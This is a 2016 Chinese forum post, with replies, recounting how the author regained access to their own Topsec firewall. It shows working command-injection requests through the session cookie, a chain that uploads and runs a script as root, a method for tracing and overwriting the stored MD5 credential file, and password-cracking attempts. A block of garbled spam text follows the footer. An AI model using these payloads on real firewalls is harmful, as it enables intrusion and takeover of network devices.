天融信防火墙密码恢复手记 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
jackyspy
V2EX    问与答

天融信防火墙密码恢复手记

  •  3
     
  •   jackyspy 2016-10-14 11:54:14 +08:00 7973 次点击
    这是一个创建于 3288 天前的主题,其中的信息可能已经有所发展或是发生改变。

    天融信防火墙密码恢复手记

    公司在用的一款天融信防火墙,密码意外遗失,无法登陆管理平台。虽然防火墙可以正常工作,但却无法修改配置,不能根增加和删除访问列表中的 IP 地址,不能调整访问策略。防火墙默认仅开通 https web 管理界面,未开启 telnet 、 ssh 等其他管理通道。

    联系天融信厂家寻求技术支持,被告知必须返厂更换芯片,费用大约在 2000 元左右(网上搜了一下,几乎所有密码遗失的客户最终都只能选择返厂)。公司用于该网络联网的仅此一台防火墙设备,终端数量在 500 以上,无其他硬件备份方案。因用户众多,管理要求细致,防火墙配置非常复杂,保存的配置文件也不是最新的。若返厂维修的话,则无法找到完备的替代方案。

    于是决定先自己想办法,开启密码恢复之旅。 Go !

    猜测密码,自动验证

    首先想到的是根据可能的密码规则和常用组合,构造一个密码字典,通过编写简单的 Python 脚本进行登录验证。万一不行的话,就穷举来尝试暴力破解。

    可是开始跑脚本的时候发现想法实在太天真了,存在两个致命的问题:

    1. 防火墙白天负荷过重, Web 响应非常慢。有时候一个请求可能在半分钟以上。
    2. Web 管理平台有登录次数限制,大约 6 次密码错误以后,就会锁定账号一段时间。

    在尝试了几十个最可能出现的密码组合后,彻底放弃了这条捷径。

    看来偷懒是不成了,必须得动真格的。

    搜寻漏洞,获取控制权

    nmap 扫描发现防火墙只开通了 https 端口。不是专业的安全研究人员,只能在网上搜索该款防火墙的漏洞资料,不(suo)幸的是,还真发现了不少。

    找到的第一篇文章 《看我如何在 2 小时内控制 100+天融信安全设备的》 提到了 Heartbleed 漏洞,却未对漏洞利用方式做过多解释。需要更多学习资料,根据这个方向继续搜索,又找到了一些文章:

    其中, NSA Equation Group 那篇文章信息量最高,对漏洞的特征和产生的原因分析的非常透彻,利用方式也做了简要说明。按照文章的提示,用 Brup 进行 Eligible Candidate 漏洞测试(打算用 Postman ,但因 chrome 的 https 证书问题放弃),漏洞果然还在!

    怀着激动的心情,尝试了 ls -la />/www/htdocs/1find / -type f>/www/htdocs/1 等指令,对防火墙文件系统的目录结构进行初步了解,也看到了配置文件存放的位置。执行 cp /tos/conf/config>/www/htdocs/1 ,把配置文件 down 下来一看,果然是新鲜的味道。

    启动 telnetd 服务并尝试连接,报错,估计是没有加特定启动参数的缘故,没做深入研究。看来暂时还是只能通过 https 漏洞方式跑命令了。

    随着执行命令次数越来越多, Brup 构造请求的方式效率太低,于是写了简单的 Python 函数在 IPython 下面跑,终觉得灵活性不够。最后决定采用 HTTPie 命令行的方式发送 https 请求( curl 没有 httpie 方便),后续所有命令都通过这种方式交互。

    $ http --verify=no https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`ls -la /tmp>/www/htdocs/1`' 

    文件上传,执行脚本文件

    之前都是一次请求执行一条命令,效率太低,也存在诸多限制。最好的方式是上传一个 sh 脚本在防火墙上执行,这就需要以某种方式传送文件到防火墙上去。

    另一方面,根据漏洞名称和 Equation Group 搜索到这篇文章:Equation Group 泄露文件分析,才注意到这是国际顶尖黑客组织,也是 NSA 合作的方程式黑客组织( Equation Group ),被另一个名为“ The ShadowBrokers ”的黑客组织攻下了,珍藏的系列高级工具被打包分享。这可是个好东西!赶紧下载解密,找到 ELCA 的漏洞利用代码,运行后却发现没有如逾期般的启动 nopen 远程管理软件,原因未知,颇有些失望。不过在 py 源码中看到了文件上传的方式,其实就是利用了 cgi 文件上传处理方式,它每次会在 /tmp 目录下生成一个 cgi*的临时文件。 ELCA 利用代码的流程是连续执行多次指令,第一次 rm /tmp/cgi*清理 tmp 目录,接着 post 上传文件同时复制保存一份 cp /t*/cg* /tmp/.a,再加执行权限 chmod +x /tmp/.a,最后执行 /tmp/.a

    upload_run.png

    当然,代码并没有直接上传一个可执行文件,而是巧妙(恕见识少,我知道*nix 下经常这样干)的将需要的多个文件用 tar 打包后,附到 sh 脚本的最后。在 sh 脚本中用 dd 命令将 tar 包 copy 出来再解压运行。下面是工具中 stage.sh 的部分代码:

    stager.png

    文件 tar 打包的 Python 代码片段:

    build_exploit_payload.png

    就我的需求而言,只是上传脚本执行,就不用做得那么复杂了。简单的 post 我的 sh 脚本,同时执行 sh /tmp/cgi*。前提是我的 sh 脚本中都做了清理工作 rm /tmp/cgi*

    http --verify=no -b -f POST https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`sh /t*/cg*`' [email protected]; http --verify=no https://x.x.x.x/1 

    HTTPie 可以用 uploadfilename@localfilename 的方式很方便的实现文件上传。之所以两条指令在一行是为了方便查看前一个脚本的输出。

    #!/bin/sh # 清除 /tmp/cgi*,防止干扰下次运行 rm -f /t*/cgi* echo =============================== >/www/htdocs/1 date >>/www/htdocs/1 echo "***************" >>/www/htdocs/1 cd /tmp ps >>/www/htdocs/1 netstat -nltp >>/www/htdocs/1 ls -la /tos/etc /data/auth/db /tmp >>/www/htdocs/1 

    上面的示例脚本就可以一次进行多种操作,获取进程信息、网络连接情况、目录文件等多种信息,大幅减少交互次数提高效率。

    逆向分析,寻找密码

    做了很多准备工作,找到了比较便捷的脚本执行方式。而且根据 ps 结果来看,指令是以 root 权限运行的。接下来要开始干正事了,tar cf /home/htdocs/1 / 打包文件系统, down 下来准备逆向分析。因为 web 登录入口指向 maincgi.cgi ,就从它开始。

    逆向分析的过程相当繁杂、漫长、枯燥乏味,具有相当的挑战性,所以需要坚定的毅力和不时涌现的灵感。无数次调整思路和方向,无数次寻找新的突破口。

    我现在也记不清当初分析时的前因后果,就把一些分析的结果整理下,做一个简单的分享。

    入口 maincgi.cgi

    maincgi.cgi 位于 /www/cgi/ 目录下。用 IDA 进行逆向分析。

    根据登录 form 提交的 usernamepasswd 在 string 窗口搜索, x 跟踪调用情况分析,最终来到 000403D4 函数内。

    maincgi_403D4.png

    下面是更容易理解的 C 伪代码(我开始分析的时候没找到可用的 hexrays ,这是事后撰写此文时找到的。:-( 工欲善其事必先利其器啊!):

    maincgi_403D4_c.png

    可以看到, username 和 passwd 参数都原封不动的传入到 login 函数,想必沿着这个方向一定能找到密码保存的地方。

    跟进发现 login 是 import 函数,不在 maincgi.cgi 中实现。为了方便,我把 lib 和 so 目录下所有文件的符号表都进行了分析,结果保存在一个文件中备查。

    $ nm -D tos/lib/* tos/so/* > symbols.txt 

    很快发现 login 函数在 /tos/so/libwebui_tools.so 中实现。

    入了 RPC 的坑

    本以为找到 libwebui_tools.so 中的 login 实现,一切皆可水落石出。谁料还是 too young, too naive

    根据 export 表很快定位到 login 函数的实现,开始是 TLS 连接 127.0.0.1 : 4000 ,接着是一堆错误处理代码。

    login.png

    login_4000.png

    其中有一个 gui_send_reqx 函数的调用参数 CFG_AUTH 引起了我的注意,猜测是一种自定义的类 RPC 实现。

    login_cfg_auth.png

    唉,还是 C 伪代码看得清楚啊!再次哭晕在厕所 :-(

    login_c.png

    既然不是通过本地.so 调用,那只有知道到底是谁提供了这个 rpc 服务,才能找到接下来的路。

    好用的 netstat

    好在我们有执行代码的权限,好在防火墙里面有 netstat 命令。执行 netstat -nltp >>/www/htdocs/1 得到下面的结果:

    netstat.png

    一目了然。原来服务是 tos_configd 提供的呀!被 ELCA 漏洞利用脚本误导了,以为是只是一个命令行 shell ,之前跟过,但没有细看。这不,还是要回头找它。

    百转千回

    tos_configd 分析过程并非一帆风顺。

    根据 RPC 传递的参数 CFG_AUTH 作为线索进行追踪,看到 RPC 支持多个命令。当命令为 CFG_AUTH 时,将数字 5 写到参数传入的内存区域某个变量中。没有其他更多的信息,看来只能根据 caller 向上一步步追了。

    tos_configd_cfg_auth.png

    代码回到 rpc 的消息处理 thread 中,经过逐步分析,定位到消息处理函数中。

    tos_configd_rpchandle.png

    跟进去,可以看到大致的处理流程。有一个 switch 过程, case 5 后面就是 CFG_AUTH 的处理代码。 5 就是前面第一个过程中设置的变量。 topsec_manager_auth 函数用于接管用户密码鉴权工作,它是一个 import 函数,按照前面的方法查到它在 /tos/so/libmanager.so 中实现。

    tos_configd_rpchandlelogin.png

    胜利的曙光

    libmanager 的 export 表非常简练,似乎每一个都让人颇感兴趣。

    libmanager_export.png

    先看看我们的目标函数 topsec_manager_auth :

    libmanager_auth.png

    信息量很大,到这里基本上就看到了胜利的曙光。

    首先看到的是用户名+密码的 MD5 ,然后传入到 j_match_manager_name 函数中进行校验。这不就是经典的用户名密码校验过程嘛(未加 salt )。

    需要说明一下的是,上图中看到的 username 参数名称是我综合各类分析得知内容后改名的,并不是想当然,更不是 IDA 智能更名。 username+32 是密码明文,这也是在前面的分析过程中得出的结论。

    跟进 match_manager_name 函数,并没有立即发现直观的密码文件读取过程。取而代之的是,内存中存在最多 500 个 struct ,其中包含了用户名和 MD5 值,鉴权过程就是与其一一进行匹配比对。 Local_db_dev_node 是一个全局 buffer ,搞清楚它的数据来源就找到根源了。

    libmanager_match_manager_name.png

    按 X 查看 Local_db_dev_node 的 reference ,还真不少。

    libmanager_xref.png

    第一个 read_dev_manager_file 就很像,跟进去看一下。

    libmanager_read_dev_manager_file.png

    Bingo !就是它了! /tos/etc/Tos_dev_manager_info 其实这个文件之前也注意到,不过没曾想它居然保存了鉴权信息,而且是用户名密码拼接 MD5 这么简单!

    用 hexdump 查看之前下载的 Tos_dev_manager_info 进行验证,大小 104 字节,与分析得到的 struct 大小完全一致。再看用户名和密码的位置,和分析 Local_db_dev_node 结构完全一致。

    清除最后的障碍

    终于找到密码保存到文件了,三下五除二,自己设定一个密码,计算 MD5 值,修改 Tos_dev_manager_info 对应的区域。文件上传,覆盖,重启,等结果……

    import hashlib print(hashlib.md5('superman' + '111111').hexdigest()) 

    几分钟后,设备起来了,赶紧试一下密码,错误!!!

    郁闷,怎么会呢? down 下 /tos/etc/Tos_dev_manager_info 一看,还是老数据。看来是工作还没到位。

    想起 libmanager 不是有那么多可疑的函数吗?挑感兴趣的进去看看,比如 write_memdata2flash :

    libmanager_write_memdata2flash.png

    对,就它了。一般网络设备修改配置以后,不都还来一个 wr mem 吗?估计 /data/auth/db/ 才是最终保存数据的地方,/tos/etc 可能重启的时候会重新 copy 覆盖。

    再重新上传一次修改好的 Tos_dev_manager_info 文件,只不过这次同时覆盖了几个目录下的文件。重启,用设定的密码登录,搞定!!!

    走过的弯路

    当然,我分析过的文件远不止上面这些,也不是按照本文的思路一步一步走下来,走了不少弯路。凭感觉,或为了寻找新线索,或漫无目的地毯式搜索。除了上面列举的部分之外,还分析过其他几个.so 文件,跟踪过上百个函数,多数与我需要的东西关系并不太大。

    逆向分析就是这样,不可能一帆风顺,也没有既定的方法和思路。就是要有一种执着的精神,在不断的尝试、纠错和总结过程中达到目的地。成功后那一刻豁然开朗的成就感一直是我所痴迷的。

    关于 MD5 破解不得不说的事

    既然知道了算法,也有了 MD5 数据,是不是可以真正的找回当初的密码呢?

    和第一步猜测密码类似,用 python 按照一定规则,生成可能的密码序列。调用 hashlib.md5() 计算 hash 值与目标进行比对,结果跑了一天没结果。

    想着这种计算密集型的程序,在 python 和 c 之间切换太频繁可能影响效率。又在网上找到一个 Fast MD5 hash implementation in x86 assembly 汇编实现的快速算法,并且根据实际需求做了一定的优化。运行,依然无结果。

    不甘心,再到网上搜索资料,发现人家都用 GPU 跑字典。好吧,我也找来一个 Hashcat,在 i5 8G 内存 的 iMac 上试跑,的确速度非常快。然而,由于密码长,计算量过大,最终也没跑出结果,就此作罢。

    现在想想,如果没有密码长度、规则等任何信息的话,光凭暴力破解一个非典型密码,几乎是 Mission Impossible 。

    搞定,收工

    很久没写过长文,也没发过技术类文章。上一次可能要追溯到 2001 年 8 月的时候,曾以打鸡血似的饱满激情写过一篇软件逆向习作

    此次防火墙密码成功恢复,其漏洞功不可没。对我而言,又重温了一把当初年少时对技术的执着。

    最后,小结一下:

    • 软件逆向分析是个体力活。
    • 工欲善其事必先利其器。
    • 安全问题无时无刻不在。
    21 条回复    2017-06-01 08:21:28 +08:00
    senghoo
        1
    senghoo  
       2016-10-14 12:18:29 +08:00
    好文。不错。
    redsonic
        2
    redsonic  
       2016-10-14 12:21:17 +08:00
    Equation Group 里面有现成的爆破工具,不过我试了没有成功。 script 里说的版本是实际里面带的不一样,不知道是不是这个原因。
    coolair
        3
    coolair  
       2016-10-14 12:22:12 +08:00
    我看到最后密码没有跑出来,怎么收工了?
    jackyspy
        4
    jackyspy  
    OP
       2016-10-14 12:28:35 +08:00
    @redsonic 不知道,反正 nopen 就是起不来。 Equation Group 的工具里面有脚本,应该是可以执行成功的,不知道具体原因,可能跟防火墙 tos 版本对 nopen 的兼容性有关。反正我也不用这工具,能上传文件,能执行代码就 ok 。那脚本不短,我也没细看,没用上。
    jackyspy
        5
    jackyspy  
    OP
       2016-10-14 12:29:34 +08:00
    @coolair 实际上只是改了密码,可以登录。密码我实在找不出来了,估计要构造合适的字典才能跑出来。
    redsonic
        6
    redsonic  
       2016-10-14 12:42:38 +08:00
    你这文章一出估计天融信下个版本要改改了,不然 2000 块没得赚了。
    jackyspy
        7
    jackyspy  
    OP
       2016-10-14 12:47:35 +08:00
    @redsonic 是个老漏洞了,估计很多设备都已经打了补丁。
    icedx
        8
    icedx  
       2016-10-14 12:57:36 +08:00
    人才
    cmxz
        9
    cmxz  
       2016-10-14 13:11:41 +08:00 via Android
    ihacku
        10
    ihacku  
       2016-10-14 13:17:01 +08:00 via Android
    小伙子 你想换工作不 同程安全招人
    jackyspy
        11
    jackyspy  
    OP
       2016-10-14 14:27:31 +08:00
    @ihacku 有这个想法,纠结中
    tcpper
        12
    tcpper  
       2016-10-14 19:10:32 +08:00
    好腻害的骚年
    owlsec
        13
    owlsec  
       2016-10-14 19:47:58 +08:00
    楼主可以,感谢分享~~~大部分人估计密码忘了肯定是返厂了!。
    ye10010
        14
    ye10010  
       2016-10-14 20:24:26 +08:00
    文件乱改,不怕恢复不过去吗?钻研精神值得学习,生产环境中搞出问题就不是 2000 能解决的了..
    不过还是很佩服你.
    czkwg8
        15
    czkwg8  
       2016-10-14 21:13:36 +08:00
    精彩的逆向文章!
    ihacku
        16
    ihacku  
       2016-10-15 00:27:59 +08:00 via Android
    @jackyspy 加我微信聊聊? 微信号就是 v2 id
    jackyspy
        17
    jackyspy  
    OP
       2016-10-15 08:00:44 +08:00
    @ye10010 你说的没错,的确存在一定的风险。不过经过细致的分析,好歹还算比较有把握。现在应该庆幸没有出意外^_^
    jackyspy
        18
    jackyspy  
    OP
       2016-10-15 08:05:07 +08:00
    @ihacku 已加,请多指教^_^
    WilliamKyle
        19
    WilliamKyle  
       2016-12-08 00:44:08 +08:00
    《 NSA Equation Group 泄露的天融信产品漏洞分析(一)》 这个文章里面不是说了密码存在那个 cookie 的文件里面了么,而且还是 base64 保存的。
    jackyspy
        20
    jackyspy  
    OP
       2016-12-08 08:15:40 +08:00
    @WilliamKyle 说的没错,可是我的里面是错误的密码。估计尝试错误密码次数太多,覆盖了原先的密码数据。
    jjchen1989
        21
    jjchen1989  
       2017-06-01 08:21:28 +08:00
    @jackyspy Tos_dev_manager_info 怎么下载和上传
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     937 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 29ms UTC 19:19 PVG 03:19 LAX 12:19 JFK 15:19
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86